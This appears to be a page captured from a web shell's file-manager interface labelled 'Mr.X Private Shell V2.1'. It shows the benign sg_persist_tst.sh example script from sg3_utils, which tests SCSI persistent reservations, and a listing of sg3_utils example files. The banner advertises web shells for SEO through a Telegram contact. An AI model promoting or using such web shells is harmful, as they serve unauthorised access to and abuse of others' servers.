__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/bin/sh
# This script is meant as an example of using the sg_persist utility
# in the sg3_utils package. This script works as expected on the
# author's Fujitsu MAM3184, Seagate ST373455 and ST9146803SS disks.
#
# Version 2.0 20171104
# N.B. make sure the device name is correct for your environment.
key="123abc"
key2="333aaa"
kk=${key}
rtype="1"
verbose=""
usage()
{
echo "Usage: sg_persist_tst.sh [-e] [-h] [-s] [-v] <device>"
echo " where:"
echo " -e, --exclusive exclusive access (def: write " \
"exclusive)"
echo " -h, --help print usage message"
echo " -s, --second use second key"
echo " -v, --verbose more verbose output"
echo " -vv even more verbose output"
echo " -vvv even more verbose output"
echo ""
echo "Test SCSI Persistent Reservations with sg_persist utility."
echo "Default key is ${key} and alternate, second key is ${key2} ."
echo "Should be harmless (unless one of those keys is already in use)."
echo "The APTPL bit is not set in the PR register so a power cycle"
echo "on the device will clear the reservation if this script stops"
echo "(or is stopped) before clearing it. Tape drives only seem to "
echo "support 'exclusive access' type (so use '-e')."
}
opt="$1"
while test ! -z "$opt" -a -z "${opt##-*}"; do
opt=${opt#-}
case "$opt" in
e|-exclusive) rtype="3" ;;
h|-help) usage ; exit 0 ;;
s|-second) kk=${key2} ;;
vvv) verbose="-vvv" ;;
vv) verbose="-vv" ;;
v|-verbose) verbose="-v" ;;
*) echo "Unknown option: -$opt " ; exit 1 ;;
esac
shift
opt="$1"
done
if [ $# -lt 1 ]
then
usage
exit 1
fi
echo ">>> try to report capabilities:"
sg_persist -c ${verbose} "$1"
res=$?
case "$res" in
0) ;;
1) echo " syntax error" ;;
2) echo " not ready" ;;
3) echo " medium error" ;;
5) echo " illegal request, report capabilities not supported?" ;;
6) echo " unit attention" ;;
9) echo " illegal request, Persistent Reserve (In) not supported" ;;
11) echo " aborted command" ;;
15) echo " file error with $1 " ;;
20) echo " no sense" ;;
21) echo " recovered error" ;;
33) echo " timeout" ;;
97) echo " response fails sanity" ;;
98) echo " other SCSI error" ;;
99) echo " other error" ;;
*) echo " unknown exit status for sg_persist: $res" ;;
esac
echo ""
sleep 1
echo ">>> check if any keys are registered:"
sg_persist --no-inquiry --read-keys ${verbose} "$1"
sleep 1
echo
echo ">>> register a key:"
sg_persist -n --out --register --param-sark=${kk} ${verbose} "$1"
sleep 1
echo
echo ">>> now key ${kk} should be registered:"
sg_persist -n --read-keys ${verbose} "$1"
sleep 1
echo
echo ">>> reserve the device (based on key ${kk}):"
sg_persist -n --out --reserve --param-rk=${kk} --prout-type=${rtype} ${verbose} "$1"
sleep 1
echo
echo ">>> check if the device is reserved (it should be now):"
sg_persist -n --read-reservation ${verbose} "$1"
sleep 1
echo
echo ">>> try to 'read full status' (may not be supported):"
sg_persist -n --read-full-status ${verbose} "$1"
sleep 1
echo
echo ">>> now release reservation:"
sg_persist -n --out --release --param-rk=${kk} --prout-type=${rtype} ${verbose} "$1"
sleep 1
echo
echo ">>> check if the device is reserved (it should _not_ be now):"
sg_persist -n --read-reservation ${verbose} "$1"
sleep 1
echo
echo ">>> unregister key ${kk}:"
sg_persist -n --out --register --param-rk=${kk} ${verbose} "$1"
sleep 1
echo
echo ">>> now key ${kk} should not be registered:"
sg_persist -n -k ${verbose} "$1"
sleep 1
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| archive | Folder | 0755 |
|
|
| Makefile | File | 3.08 KB | 0644 |
|
| Makefile.freebsd | File | 1.98 KB | 0644 |
|
| README | File | 776 B | 0644 |
|
| forwarded_sense.txt | File | 296 B | 0644 |
|
| nvme_dev_self_test.hex | File | 806 B | 0644 |
|
| nvme_identify_ctl.hex | File | 1.17 KB | 0644 |
|
| nvme_read_ctl.hex | File | 1.79 KB | 0644 |
|
| nvme_write_ctl.hex | File | 1.8 KB | 0644 |
|
| reassign_addr.txt | File | 465 B | 0644 |
|
| ref_sense.txt | File | 305 B | 0644 |
|
| scsi_inquiry.c | File | 4.09 KB | 0644 |
|
| sdiag_sas_p0_cjtpat.txt | File | 405 B | 0644 |
|
| sdiag_sas_p0_prbs9.txt | File | 407 B | 0644 |
|
| sdiag_sas_p1_cjtpat.txt | File | 464 B | 0644 |
|
| sdiag_sas_p1_idle.txt | File | 560 B | 0644 |
|
| sdiag_sas_p1_prbs15.txt | File | 408 B | 0644 |
|
| sdiag_sas_p1_stop.txt | File | 359 B | 0644 |
|
| sg__sat_identify.c | File | 7.55 KB | 0644 |
|
| sg__sat_phy_event.c | File | 12.02 KB | 0644 |
|
| sg__sat_set_features.c | File | 9.7 KB | 0644 |
|
| sg_compare_and_write.txt | File | 2.42 KB | 0644 |
|
| sg_excl.c | File | 5.98 KB | 0644 |
|
| sg_persist_tst.sh | File | 3.54 KB | 0755 |
|
| sg_sat_chk_power.c | File | 8.95 KB | 0644 |
|
| sg_sat_smart_rd_data.c | File | 6.4 KB | 0644 |
|
| sg_simple1.c | File | 5.87 KB | 0644 |
|
| sg_simple16.c | File | 3.41 KB | 0644 |
|
| sg_simple2.c | File | 6.59 KB | 0644 |
|
| sg_simple3.c | File | 6.46 KB | 0644 |
|
| sg_simple4.c | File | 7.25 KB | 0644 |
|
| sg_simple5.c | File | 7.47 KB | 0644 |
|
| sg_unmap_example.txt | File | 1.53 KB | 0644 |
|
| sgq_dd.c | File | 37.77 KB | 0644 |
|
| transport_ids.txt | File | 1.1 KB | 0644 |
|